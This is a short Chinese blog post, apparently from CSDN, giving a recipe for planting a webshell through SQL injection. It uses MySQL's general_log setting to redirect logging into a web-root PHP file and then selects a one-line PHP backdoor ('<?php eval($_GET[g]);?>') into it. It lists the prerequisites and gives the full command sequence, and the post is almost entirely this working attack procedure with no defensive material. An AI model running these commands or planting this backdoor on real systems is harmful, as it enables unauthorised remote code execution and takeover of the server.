WEB安全--SQL注入--利用log写入webshell

一、原理:

这也是对之前文章的补充:WEB安全--SQL注入--INTO OUTFILE-CSDN博客

我们可以通过修改MySQL的log文件,用select关键字写入木马文件放在服务器物理地址中,通过访问物理地址getshell。

二、条件:

用户有写入权限

需要知道物理路径(绝对路径)

需要能执行多行SQL语句

关闭对单引号的转义(GPC)

三、利用方式:

sql 复制代码
show variables like '%general%';            	 # 查看配置
 
set global general_log = on;              		 # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。
 
set global general_log_file = 'D:/WWW/evil.php'; # 设置日志目录为shell地址
 
select '<?php eval($_GET[g]);?>'             	 # 写入shell
 
set global general_log=off;                  	 # 关闭general log模式
相关推荐
7ioik2 分钟前
RC和RR隔离级别下MVCC的差异?
数据库·sql·mysql
橘颂TA4 分钟前
线程池与线程安全:后端开发的 “性能 + 安全” 双维实践
java·开发语言·安全
施嘉伟16 分钟前
Oracle 10046 Trace 硬核指南:SQL 慢在哪,从底层拉出来
数据库·sql·oracle
梁辰兴35 分钟前
中国信通院发布《人工智能安全治理研究报告(2025年)》,AI安全攻防为何“易攻难守“?
人工智能·安全·ai·ai安全·梁辰兴·人工智能安全治理·中国信通院
山峰哥37 分钟前
数据库工程与SQL调优实战:从原理到案例的深度解析
java·数据库·sql·oracle·性能优化·编辑器
飞飞传输38 分钟前
适配信创环境的传输系统推荐:助力企业数据安全合规传输!
大数据·运维·安全
●VON1 小时前
智能暗战:AI 安全攻防实战全景解析
人工智能·学习·安全·von
廋到被风吹走1 小时前
【Spring】Spring Boot Actuator 深度解析:健康检查、指标暴露与端点安全
spring boot·安全·spring
施嘉伟1 小时前
一次典型的 SQL 性能问题排查:临时表导致的隐藏性能陷阱
数据库·sql
乐迪信息1 小时前
乐迪信息:防止船舶误入禁航区:AI偏航检测精准干预
大数据·运维·人工智能·物联网·安全